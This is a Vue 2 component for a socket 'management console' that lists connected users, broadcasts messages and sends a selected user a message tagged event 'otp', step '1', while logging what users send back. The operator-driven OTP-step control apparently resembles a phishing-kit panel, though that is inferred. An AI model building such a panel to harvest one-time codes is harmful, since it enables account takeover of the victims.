<template>
  <div class="app-container">
    <el-card class="box-card">
      <div slot="header" class="clearfix">
        <span>Socket 管理控制台</span>
      </div>
      <div class="socket-status">
        <el-tag :type="socket.connected ? 'success' : 'danger'">{{ socket.connected ? '已连接' : '未连接' }}</el-tag>
        <el-tag v-if="socket.connecting" type="warning">连接中...</el-tag>
        <el-tag v-if="socket.error" type="danger">连接错误: {{ socket.error.message }}</el-tag>
        <el-button type="primary" size="mini" @click="connect" :disabled="socket.connected || socket.connecting">连接</el-button>
        <el-button type="danger" size="mini" @click="disconnect" :disabled="!socket.connected">断开</el-button>
      </div>

      <el-row :gutter="20">
        <el-col :span="12">
          <!-- 在线用户列表 -->
          <div class="user-list-container">
            <div class="section-header">
              <h4>在线用户列表</h4>
              <el-button type="info" size="mini" @click="refreshUsers" :disabled="!socket.connected">刷新列表</el-button>
            </div>
            <div class="user-list">
              <div v-if="!onlineUsers || onlineUsers.length === 0" class="no-users">
                暂无在线用户
              </div>
              <div v-else v-for="(user, index) in onlineUsers" :key="index" class="user-item">
                <span>ID: {{ user.socket_id }}</span>
                <el-button type="text" @click="sendToUser(user.socket_id)">发送消息</el-button>
              </div>
            </div>
          </div>
        </el-col>

        <el-col :span="12">
          <!-- 消息发送 -->
          <div class="message-section">
            <div class="section-header">
              <h4>消息发送</h4>
            </div>
            <div class="message-container">
              <el-input v-model="message" placeholder="输入要发送的消息" :disabled="!socket.connected"></el-input>
              <el-button type="primary" @click="sendMessage" :disabled="!socket.connected">广播消息</el-button>
            </div>
          </div>
        </el-col>
      </el-row>

      <!-- 消息日志 -->
      <div class="log-container">
        <h4>事件日志:</h4>
        <div class="log-content">
          <div v-for="(log, index) in logs" :key="index" class="log-item">
            <span class="log-time">{{ log.time }}</span>
            <span :class="['log-type', log.type]">{{ log.type }}</span>
            <span class="log-message">{{ log.message }}</span>
          </div>
        </div>
      </div>
    </el-card>
  </div>
</template>

<script>
import { socketInstance } from '@/utils/socket'

export default {
  name: 'SocketExample',
  data() {
    return {
      socket: socketInstance,
      message: '',
      logs: [],
      onlineUsers: []
    }
  },
  mounted() {
    console.log('=== 组件已挂载 ===')
    this.addLog('info', '组件已挂载')
    
    // 先设置监听器（会被存储，等socket创建后注册）
    this.setupListeners()
    
    // 然后连接（创建socket实例并注册监听器）
    this.connect()
  },
  beforeDestroy() {
    // 移除本页面添加的事件监听
    this.removeListeners()
    
    // 记录到日志
    this.addLog('info', '组件即将销毁')
    
    // 注意：这里不要断开连接，因为是全局单例
    // this.socket.disconnect()
  },
  methods: {
    // 连接
    connect() {
      console.log('=== 执行连接方法 ===')
      this.addLog('info', '正在连接...')
      
      // 建立连接
      this.socket.connect()
    },
    
    // 断开
    disconnect() {
      this.socket.disconnect()
      this.addLog('info', '已断开连接')
    },
    
    // 发送广播消息（通过HTTP POST）
    sendMessage() {
      if (!this.message.trim()) {
        this.$message.warning('消息内容不能为空')
        return
      }
      
      // 开发环境使用相对路径（通过代理），生产环境使用完整URL
      const pushUrl = process.env.NODE_ENV === 'production' 
        ? 'http://socket.testsaas.top/push' 
        : '/push'
      
      const msg = this.message
      
      try {
        console.log('准备发送广播消息到:', pushUrl)
        
        // 通过 fetch 发送广播消息
        fetch('http://socket.testsaas.top/push', {
          method: 'POST',
          headers: { 
            'Content-Type': 'application/json' 
          },
          body: JSON.stringify({ message: msg })
        })
        .then(response => {
          if (response.ok) {
            this.addLog('send', `🚀 广播消息：${msg}`)
            this.$message.success('广播消息已发送')
            this.message = ''
          } else {
            return response.json().then(data => {
              throw new Error(data.message || '发送失败')
            }).catch(() => {
              throw new Error(`HTTP ${response.status}: ${response.statusText}`)
            })
          }
        })
        .catch(err => {
          console.error('发送广播失败:', err)
          this.addLog('error', `发送失败: ${err.message}`)
          this.$message.error('发送失败: ' + err.message)
        })
        
      } catch (err) {
        console.error('发送消息错误:', err)
        this.addLog('error', '发送异常: ' + (err.message || err))
        this.$message.error('发送异常: ' + (err.message || err))
      }
    },
    
    // 刷新用户列表
    refreshUsers() {
      if (this.socket.connected) {
        this.socket.emit('getUsers')
        this.addLog('info', '已请求刷新用户列表')
      } else {
        this.addLog('error', '未连接，无法刷新用户列表')
      }
    },
    
    // 发送私聊消息
    sendToUser(socketId) {
      if (!this.socket.connected) {
        this.addLog('error', '未连接，无法发送消息')
        return
      }
      
      this.$prompt('请输入要发送的消息', '发送给 ' + socketId, {
        confirmButtonText: '发送',
        cancelButtonText: '取消',
        inputPattern: /.+/,
        inputErrorMessage: '消息不能为空'
      }).then(({ value }) => {
        // 构建消息对象
        const msg = {
          socket_id: socketId,
          content: value,
          event: 'otp',
          step: '1'
        }
        
        // 发送消息
        this.socket.emit('adminMessage', msg)
        this.addLog('send', `已向 ${socketId} 发送消息：${JSON.stringify(msg)}`)
      }).catch(() => {
        // 取消发送，不做处理
      })
    },
    
    // 设置监听器
    setupListeners() {
      console.log('=== 开始设置Socket监听器 ===')
      
      // 连接成功事件 - 这是最重要的
      this.socket.on('connect', () => {
        console.log('★★★★★ connect事件触发成功！ ★★★★★');
        this.handleConnection();
      });
      
      // 监听断开连接事件
      this.socket.on('disconnect', (reason) => {
        console.log('⚠️ 连接已断开，原因:', reason);
        this.addLog('error', `连接已断开: ${reason}`);
        this.onlineUsers = []; // 清空用户列表
        
        // 如果是非正常断开，尝试重连
        if (reason !== 'io client disconnect') {
          this.addLog('info', '尝试重新连接...');
        }
      });
      
      // 监听连接错误
      this.socket.on('connect_error', (error) => {
        console.error('❌ 连接错误:', error);
        this.addLog('error', `连接错误: ${error.message || error}`);
      });
      
      // 系统消息事件
      this.socket.on('system', (data) => {
        console.log('[收到系统消息]:', data);
        this.addLog('system', '用户端消息：' + (typeof data === 'object' ? JSON.stringify(data) : data));
      });
      
      // 在线用户列表
      this.socket.on('onlineUsers', (list) => {
        console.log('[收到用户列表]:', list);
        this.onlineUsers = Array.isArray(list) ? list : [];
        this.addLog('info', `当前在线用户: ${this.onlineUsers.length} 个`);
      });
      
      // 普通消息事件
      this.socket.on('message', (data) => {
        console.log('[收到消息]:', data);
        this.addLog('receive', typeof data === 'object' ? JSON.stringify(data) : data);
      });
      
      // 监听错误事件
      this.socket.on('error', (error) => {
        console.error('[Socket错误]:', error);
        this.addLog('error', `Socket错误: ${error.message || error}`);
      });
      
      // 状态监听
      this.unsubscribeConnect = this.watchSocketState();
      
      console.log('=== Socket监听器设置完成 ===')
    },
    
    // 处理连接建立后的逻辑
    handleConnection() {
      console.log('执行管理端注册...');
      this.socket.emit('register_admin'); // 注册为管理端
      this.addLog('system', '已上线管理后台');
      
      // 连接后立即请求用户列表
      setTimeout(() => {
        this.refreshUsers();
      }, 1000);
    },
    
    // 移除监听器
    removeListeners() {
      if (this.unsubscribeConnect) this.unsubscribeConnect();
      
      // 显式移除所有监听器
      if (this.socket.socket) {
        this.socket.off('connect');
        this.socket.off('disconnect');
        this.socket.off('connect_error');
        this.socket.off('error');
        this.socket.off('system');
        this.socket.off('onlineUsers');
        this.socket.off('message');
        
        console.log('所有监听器已移除');
      }
    },
    
    // 监控Socket状态变化
    watchSocketState() {
      // 由于Vue 2不支持ref等响应式API，这里使用简单的轮询检测状态变化
      const initialState = {
        connected: this.socket.connected,
        connecting: this.socket.connecting,
        error: this.socket.error
      }
      
      const checkStateInterval = setInterval(() => {
        const newState = {
          connected: this.socket.connected,
          connecting: this.socket.connecting,
          error: this.socket.error
        }
        
        if (newState.connected !== initialState.connected) {
          if (newState.connected) {
            this.addLog('system', '已连接')
          } else {
            this.addLog('system', '连接已断开')
          }
          initialState.connected = newState.connected
        }
        
        if (newState.connecting !== initialState.connecting) {
          initialState.connecting = newState.connecting
        }
        
        if (newState.error !== initialState.error && newState.error) {
          this.addLog('error', `连接错误: ${newState.error.message}`)
          initialState.error = newState.error
        }
      }, 500)
      
      return () => {
        clearInterval(checkStateInterval)
      }
    },
    
    // 添加日志
    addLog(type, message) {
      const time = new Date().toLocaleTimeString()
      this.logs.unshift({ type, message, time })
      
      // 限制日志数量
      if (this.logs.length > 100) {
        this.logs.pop()
      }
    }
  }
}
</script>

<style scoped>
.socket-status {
  margin-bottom: 15px;
}

.button-container {
  margin-bottom: 15px;
}

.message-container {
  display: flex;
  margin-bottom: 15px;
}

.message-container .el-input {
  margin-right: 10px;
}

.section-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 10px;
}

.user-list-container {
  border: 1px solid #ebeef5;
  border-radius: 4px;
  padding: 10px;
  margin-bottom: 20px;
  height: 200px;
}

.user-list {
  height: 150px;
  overflow-y: auto;
}

.user-item {
  padding: 8px;
  display: flex;
  justify-content: space-between;
  align-items: center;
  border-bottom: 1px solid #f0f0f0;
}

.no-users {
  padding: 20px;
  text-align: center;
  color: #909399;
}

.message-section {
  border: 1px solid #ebeef5;
  border-radius: 4px;
  padding: 10px;
  height: 200px;
}

.log-container {
  border: 1px solid #ebeef5;
  border-radius: 4px;
  padding: 10px;
  height: 300px;
  overflow-y: auto;
}

.log-content {
  height: 100%;
}

.log-item {
  margin-bottom: 5px;
  font-size: 14px;
}

.log-time {
  color: #909399;
  margin-right: 8px;
}

.log-type {
  display: inline-block;
  width: 60px;
  text-align: center;
  margin-right: 8px;
  border-radius: 3px;
  padding: 2px 0;
}

.log-type.system {
  background-color: #e6a23c;
  color: white;
}

.log-type.info {
  background-color: #909399;
  color: white;
}

.log-type.send {
  background-color: #409eff;
  color: white;
}

.log-type.receive {
  background-color: #67c23a;
  color: white;
}

.log-type.error {
  background-color: #f56c6c;
  color: white;
}

.log-message {
  word-break: break-all;
}
</style>
